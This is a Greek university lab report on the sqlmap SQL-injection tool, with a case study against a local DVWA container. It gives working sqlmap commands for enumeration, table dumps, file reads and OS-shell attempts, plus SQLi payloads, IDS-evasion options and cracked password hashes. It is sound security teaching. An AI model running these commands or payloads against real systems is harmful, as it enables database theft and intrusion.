SQLmap

Αυτοματοποιημένη Ανίχνευση και Εκμετάλλευση
Ευπαθειών SQL Injection

Θέμα 12 — Αναφορά Τεκμηρίωσης

Χριστόφορος Θεοδσόπουλος — CEID, Πανεπιστήμιο Πατρών

1. Χαρακτηριστικά

Το sqlmap είναι εργαλείο penetration testing ανοιχτού κώδικα, γραμμένο σε Python, ειδικευμένο στην αυτοματοποιημένη ανίχνευση και εκμετάλλευση ευπαθειών SQL Injection. Αναπτύσσεται ενεργά από το 2006.

Βασικά χαρακτηριστικά

- Πλήρης αυτοματοποίηση: από την ανίχνευση μέχρι το dump δεδομένων, χωρίς χειροκίνητο γράψιμο payloads
- Υποστήριξη πολλών βάσεων δεδομένων: MySQL, PostgreSQL, Oracle, Microsoft SQL Server, SQLite και πολλές άλλες
- Αυτόματη ανίχνευση τεχνικής ένεσης: boolean-based, error-based, UNION, stacked queries, time-based, out-of-band
- Enumeration: βάσεις, πίνακες, στήλες, χρήστες, δικαιώματα, ρόλοι, password hashes
- Data extraction (dump): εξαγωγή πλήρων πινάκων ή συγκεκριμένων εγγραφών, με αυτόματη αναγνώριση και cracking απλών password hashes
- Πρόσβαση στο σύστημα αρχείων: ανάγνωση/εγγραφή αρχείων στον server (όταν το επιτρέπουν τα δικαιώματα της ΒΔ)
- OS command execution: απόκτηση out-of-band shell
- Υποστήριξη πολλαπλών μεθόδων request: GET, POST, cookies, headers, custom request αρχεία
- Proxy / Tor support, ενσωμάτωση με Metasploit

2. Χρήση και Εντολές

Βασική σύνταξη:

```
python3 sqlmap.py -u "URL" [options]
```

Προσδιορισμός στόχου

Εντολή	Περιγραφή
-u "URL"	Στόχος μέσω GET παραμέτρου
--data="..."	Στόχος μέσω POST δεδομένων
--cookie="..."	Testing σε cookie παράμετρο
-r request.txt	Φόρτωση HTTP request από αρχείο
--random-agent	Τυχαίο User-Agent

Ανίχνευση και enumeration

```
--batch                 αποδοχή default απαντήσεων
--level=1-5              βάθος ελέγχου
--risk=1-3               επιθετικότητα payloads
--dbs                     λίστα βάσεων δεδομένων
-D dbname --tables        πίνακες μιας βάσης
-D dbname -T t --columns   στήλες ενός πίνακα
-D dbname -T t --dump       εξαγωγή δεδομένων
```

Request από αρχείο (-r)

Capture ενός request (π.χ. μέσω DevTools/Burp) σε αρχείο raw HTTP και χρήση του απευθείας:

```
GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: localhost:8080
```

```
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=...; security=low
Connection: close

python3 sqlmap.py -r request.txt --batch
```

Αυτό προσομοιώνει ρεαλιστική εργασία pentester, όπου το request λαμβάνεται από proxy εργαλείο (Burp/ZAP) και περνάει απευθείας στο sqlmap.

3. Τεχνικές Εκμετάλλευσης

Στο πλήρες ανιχνευτικό scan πάνω στο DVWA (security=low), εντοπίστηκαν ταυτόχρονα 4 τεχνικές εκμετάλλευσης στην παράμετρο id, σε σύνολο 182 HTTP requests:

Τεχνική	Αρχή λειτουργίας
Boolean-based blind	Σύγκριση απαντήσεων σελίδας σε true/false συνθήκες (π.χ. OR NOT 9978=9978)
Error-based	Εξαγωγή δεδομένων μέσα σε μηνύματα σφάλματος (EXTRACTVALUE)
Time-based blind	Καθυστέρηση απόκρισης (SLEEP) ανάλογα με συνθήκη, όταν δεν υπάρχει ορατή διαφορά
UNION query	Προσθήκη δεύτερου SELECT, άμεση εμφάνιση δεδομένων στη σελίδα

Η ταυτόχρονη ύπαρξη και των 4 τεχνικών οφείλεται στην πλήρη απουσία sanitization στο Low security level του DVWA. Σε πιο προστατευμένο σύστημα συνήθως εντοπίζεται μόνο 1-2 τεχνικές.

Μηχανισμός επιβεβαίωσης (false-positive elimination)

Πριν δηλώσει μια παράμετρο ως injectable, το sqlmap στέλνει πρόσθετες, τυχαιοποιημένες δοκιμές ώστε να αποκλείσει σύμπτωση ή caching artifacts (παρατηρήθηκε με -v 3):

```
[PAYLOAD] 1' OR NOT 14=14#     (true συνθήκη)
[PAYLOAD] 1' OR NOT 14=60#     (false συνθήκη)
[PAYLOAD] 1' OR NOT 48=48#     (true, διαφορετικοί αριθμοί)
```

Η χρήση τυχαίων αριθμών σε κάθε δοκιμή διασφαλίζει ότι η διαφορά στη σελίδα οφείλεται πραγματικά στη λογική συνθήκη και όχι σε σύμπτωση.

4. Παρακάμπτοντας Μέτρα Ασφαλείας

Δοκιμή στο DVWA με security level Medium, όπου εφαρμόζεται mysqli_real_escape_string() στην παράμετρο id.

Προσπάθεια	Αποτέλεσμα
Default scan	all tested parameters do not appear to be injectable
--level=5 --risk=3	Ιδιο αρνητικό αποτέλεσμα
--tamper=space2comment	Ιδιο αρνητικό αποτέλεσμα
--tamper=space2comment,charencode	Ιδιο αρνητικό αποτέλεσμα
--tor	Απέτυχε τεχνικά (δεν υπήρχε τοπική υπηρεσία Tor)

Συμπέρασμα: το συγκεκριμένο escaping μέτρο αποδείχθηκε ανθεκτικό απέναντι στα default heuristics και στα δοκιμασμένα tamper scripts. Είναι γνωστό ότι χειροκίνητη, στοχευμένη τεχνική (π.χ. χωρίς μονό εισαγωγικό, αφού το query στο Medium δεν χρησιμοποιεί πλέον quotes γύρω από το id) θα μπορούσε ενδεχομένως να πετύχει, κάτι που αναδεικνύει τα όρια της αυτοματοποιημένης heuristic ανίχνευσης έναντι στοχευμένης ανθρώπινης ανάλυσης.

Λοιποί μηχανισμοί bypass (θεωρητικά/τεκμηριωμένοι)

- --random-agent: τυχαίο User-Agent για αποφυγή blocking βάσει γνωστών signatures
- --proxy / --tor: απόκρυψη IP (αμοιβαία αποκλειόμενα μεταξύ τους)

- --delay / --randomize: αποφυγή behavioral detection από IDS
- --level/--risk: έμμεσο bypass μέσω περισσότερων παραλλαγών payload

5. Επεκτασιμότητα

5.1 Tamper scripts

Κάθε tamper script είναι ανεξάρτητο Python module στον φάκελο tamper/, με απλό API σύμβασης (συνάρτηση tamper(payload, **kwargs)). Πάνω από 60 scripts διαθέσιμα (python3 sqlmap.py --list-tampers).

5.2 REST API (sqlmapapi.py)

Το sqlmap τρέχει και ως service, επιτρέποντας ενσωμάτωση σε εξωτερικά συστήματα (dashboards, CI/CD pipelines).

```
python3 sqlmapapi.py -s --username=admin --password=admin123
```

Δοκιμή: unauthenticated request επιστρέφει 401 Unauthorized με πλήρη security headers, επιβεβαιώνοντας λειτουργικό και προστατευμένο API layer:

```
HTTP/1.0 401 Unauthorized
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
```

5.3 Ενσωμάτωση με Metasploit (--os-pwn)

Η επιλογή --os-pwn, εφόσον πετύχει, μπορεί να εγκαταστήσει Meterpreter session μέσω Metasploit Framework, περνώντας από SQLi σε πλήρες remote-access framework. Δοκιμάστηκε πρακτικά στο DVWA:

```
python3 sqlmap.py -u "..." --cookie="...; security=medium" --batch --os-pwn --flush-session

[WARNING] you did not provide the local path where Metasploit Framework is installed
[WARNING] sqlmap is going to look for Metasploit Framework installation inside the
environment path(s)
[CRITICAL] unable to locate Metasploit Framework installation.
```

Αποτέλεσμα: η λειτουργία απέτυχε επειδή το Metasploit Framework δεν ήταν εγκατεστημένο τοπικά. Επιβεβαιώνει ότι το --os-pwn είναι ενορχηστρωτικό χαρακτηριστικό που βασίζεται σε εξωτερικό εργαλείο, δεν ενσωματώνει το ίδιο το Metasploit. Επιπλέον, ακόμη κι αν ήταν εγκατεστημένο, η λειτουργία θα απέτυχε ούτως ή άλλως λόγω της απουσίας FILE privilege στον database user (§8.5).

5.4 Configuration files

Υποστήριξη αποθήκευσης options σε αρχείο .conf, επαναχρησιμοποιήσιμο χωρίς να ξαναγράφεται ολόκληρη η εντολή (απαιτεί υποχρεωτικό [Target] section με url ή ισοδύναμο).

6. Παραμετροποίηση

Παράμετρος	Λειτουργία / Εύρημα
--level / --risk	Βάθος & επιθετικότητα ελέγχου· επιβεβαιώθηκε αύξηση requests/χρόνου
--technique=BEUST	Περιορισμός σε συγκεκριμένες τεχνικές· δοκιμάστηκε B/U μεμονωμένα
--timeout	Ελάχιστη επιτρεπτή τιμή 3 δευτερόλεπτα (built-in sanity check)
--retries	Μικρή τιμή σε συνδυασμό με διαδοχικά time-based tests προκάλεσε εσφαλμένη υποψία διακοπής σύνδεσης
-v (0-6)	Verbosity· το -v 3 αποκάλυψε μηχανισμό false-positive confirmation

--dbms=mysql	Παράκαμψη fingerprinting σταδίου, ταχύτερο scan
-p / --skip	Στοχευμένος περιορισμός/εξαίρεση παραμέτρων προς έλεγχο
--flush-session / --purge	Διαχείριση session cache· χρησιμοποιήθηκε σε κάθε αλλαγή security level

Σημαντικό εύρημα: σε δοκιμή με --retries=1, διαδοχικά time-based tests (6-9 δευτ. το καθένα) οδήγησαν το sqlmap να θεωρήσει εσφαλμένα πρόβλημα σύνδεσης και να διακόψει το scan, λόγω του default "[y/N]" σε συνδυασμό με --batch. Αναδεικνύει την ευαισθησία της παραμετροποίησης retries/timeout σε συνδυασμό με αργές τεχνικές.

7. Πλεονεκτήματα και Μειονεκτήματα

Πλεονεκτήματα

- Πλήρης αυτοματοποίηση από ανίχνευση μέχρι exploitation, χωρίς χειρόγραφα payloads
- Αυτόματο password cracking ενσωματωμένο (αναγνώριση MD5, dictionary attack)
- Πολλαπλές τεχνικές εκμετάλλευσης σε ένα εργαλείο, ανιχνεύσιμες ταυτόχρονα
- Αυστηρή μεθοδολογική επιβεβαίωση (false-positive elimination) με τυχαιοποιημένα payloads
- Ευρεία παραμετροποίηση και ευελιξία (level/risk/technique, threads, timeouts, scope)
- Επεκτασιμότητα σε πολλαπλά επίπεδα: tamper scripts, REST API, Metasploit integration
- Ενσωματωμένοι μηχανισμοί ασφαλείας/ευαισθητοποίησης (minimum timeout, legal disclaimer, API auth)
- Session caching για αποδοτικότητα σε επαναλαμβανόμενα scans

Μειονεκτήματα

- Περιορισμένη αποτελεσματικότητα έναντι βασικού sanitization (DVWA Medium: όλες οι default/tamper δοκιμές απέτυχαν)
- Εξάρτηση από database-level privileges για κλιμάκωση· file/OS access αδύνατο χωρίς global FILE privilege
- Time-based τεχνικές αργές και ευάλωτες σε εσφαλμένη ερμηνεία ως πρόβλημα σύνδεσης
- Σημαντικός όγκος requests (182 στο αρχικό scan) — εύκολα ανιχνεύσιμο από WAF/IDS
- Ψευδώς θετικά heuristics σε δευτερεύουσες λειτουργίες (π.χ. βασική ένδειξη πιθανού XSS χωρίς επιβεβαίωση)
- Εξάρτηση από εξωτερική υποδομή για προχωρημένα χαρακτηριστικά (Tor service, Metasploit Framework)
- Νομικό/ηθικό ρίσκο ενσωματωμένο στη φύση του εργαλείου

Συνολικό συμπέρασμα: το case study στο DVWA επιβεβαίωσε τόσο τη δύναμη όσο και τα όρια του sqlmap — εξαιρετικά αποτελεσματικό όταν η εφαρμογή-στόχος δεν έχει μέτρα άμυνας, με σημαντική πτώση αποτελεσματικότητας μόλις προστεθεί βασικό sanitization ή σωστό database privilege separation.

8. Case Study: SQL Injection στο DVWA

8.1 Περιβάλλον και στήσιμο

Στόχος: Damn Vulnerable Web Application (DVWA), containerized σε Docker.

```
docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa
```

Login: admin / password στο http://localhost:8080. Ρύθμιση DVWA Security σε Low (αρχικό στάδιο). Στόχος endpoint:

```
http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit
```

Authentication μέσω session cookie (PHPSESSID).

8.2 Βασική ανίχνευση

```
python3 sqlmap.py -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=<cookie>; security=low" --batch
```

Αποτέλεσμα: injectable παράμετρος id, 4 τεχνικές, 182 requests. Backend: MySQL >= 5.1 (MariaDB fork), Apache 2.4.25, Debian 9 (stretch).

8.3 Enumeration

Βάσεις δεδομένων (--dbs): dvwa, information_schema.

Πίνακες στο dvwa (--tables): guestbook, users.

Στήλες του users (--columns): user_id, user, password, avatar, first_name, last_name, last_login, failed_login (8 στήλες, password τύπου varchar(32)).

8.4 Εξαγωγή δεδομένων (dump)

```
python3 sqlmap.py -u "..." --cookie="..." --batch -D dvwa -T users -C user,password --dump
```

user	password hash	cracked
admin	5f4dcc3b5aa765d61d8327deb882cf99	password
gordonb	e99a18c428cb38d5f260853678922e03	abc123
1337	8d3533d75ae2c3966d7e0d4fcc69216b	charley
pablo	0d107d09f5bbe40cade3de5c71e9e9b7	letmein
smithy	5f4dcc3b5aa765d61d8327deb882cf99	password

Εύρημα: οι χρήστες admin και smithy έχουν ίδιο hash, άρα ίδιο κωδικό, αποκαλύπτοντας αδυναμία unsalted MD5 hashing.

8.5 Πρόσβαση συστήματος αρχείων / OS

Εντολή	Αποτέλεσμα
--file-read="/etc/passwd"	no data retrieved
--file-write + --file-dest	file has not been written
--os-shell	Απέτυχε (ίδιο αίτιο)
--os-cmd="whoami"	Απέτυχε

Διερεύνηση αιτίας μέσω απευθείας ελέγχου στη βάση:

```
SHOW VARIABLES LIKE 'secure_file_priv';   → κενό (χωρίς περιορισμό)
SHOW GRANTS FOR 'app'@'localhost';        → GRANT ALL PRIVILEGES ON `dvwa`.* TO
'app'@'localhost'
```

Ο database user app που χρησιμοποιεί η εφαρμογή έχει δικαιώματα περιορισμένα στη βάση dvwa, όχι global. Το FILE privilege απαιτείται πάντα global στη MySQL/MariaDB, άρα απουσιάζει δομικά — παράδειγμα defense in depth.

8.6 Δοκιμή σε security level Medium (bypass)

Βλ. αναλυτικά Ενότητα 4. Όλες οι δοκιμές (default, level/risk αυξημένα, δύο tamper scripts) κατέληξαν σε αρνητικό αποτέλεσμα, τεκμηριώνοντας την αντοχή του mysqli_real_escape_string() απέναντι στις συγκεκριμένες, αυτοματοποιημένες τεχνικές.

8.7 Απόπειρα --os-pwn / Metasploit integration

Δοκιμάστηκε η πλήρης κλιμάκωση μέσω ενσωμάτωσης με Metasploit:

8.8 Στιγμιότυπα (Screenshots)

Στιγμιότυπο 1 — Πλήρες αποτέλεσμα ανίχνευσης injection point (4 τεχνικές) μέσω request που περιλάμβανε την παράμετρο id ως POST (π.χ. μέσω -r request.txt με POST request), επιβεβαιώνοντας ότι το sqlmap δοκιμάζει και testing σε παραμέτρους POST, όχι μόνο GET:

```
Parameter: id (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 3849=3849#&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(6671,CONCAT(0x5c,0x7176706b71,(SELECT (ELT(6671=6671,1))),0x716a6
b7671))-- QzBT&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 3071 FROM (SELECT(!SLEEP(5)))siBG)-- uWvG&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7176706b71,0x72597651474c476e43414567616173675a434543795
26d774b6e716365426d55665a547178735150,0x716a6b7671),NULL#&Submit=Submit
---
[19:11:19] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
[19:11:19] [INFO] fetched data logged to text files under '/home/xrist/.local/share/sqlmap/output/loc
alhost'

[*] ending @ 19:11:19 /2026-10-25/
```

Εικόνα 1: Πλήρες injection point summary — παράμετρος id (POST), backend MySQL >= 5.1.

Στιγμιότυπο 2 — Απόπειρα --os-pwn στο security=medium, με το sqlmap να αναζητά τοπική εγκατάσταση Metasploit Framework:

```
xrist@MSI:~/SQL_Map/sqlmap-dev$ python3 sqlmap.py -u "http://localhost:8080/vulnerabilities/sqli/?id=1&
Submit=Submit"   --cookie="PHPSESSID=oaemc3cgc8rd12hoiq960g7i70; security=medium" --batch --os-pwn --fl
ush-session
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.10.10.14#dev}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It
 is the end user's responsibility to obey all applicable local, state and federal laws. Developers assu
me no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:54:36 /2026-10-25/

[23:54:36] [WARNING] you did not provide the local path where Metasploit Framework is installed
[23:54:36] [WARNING] sqlmap is going to look for Metasploit Framework installation inside the environme
nt path(s)
[23:54:37] [CRITICAL] unable to locate Metasploit Framework installation. You can get it at 'https://ww
w.metasploit.com/download/'

[*] ending @ 23:54:37 /2026-10-25/
```

Εικόνα 2: Αποτυχία --os-pwn λόγω απουσίας τοπικής εγκατάστασης Metasploit Framework.

8.9 Συνολικά παραδοτέα τεκμηρίωσης

- Πλήρη terminal outputs κάθε βήματος (διαθέσιμα ως screenshots)
- CSV αρχείο εξαγωγής (users.csv) ως raw evidence
- SQL grants/privileges έλεγχοι ως αποδεικτικό στοιχείο για την Ενότητα 8.5
- Σύνολο 182 requests στο αρχικό ανιχνευτικό scan· τεκμηριωμένη συμπεριφορά σε κάθε παραλλαγή ρυθμίσεων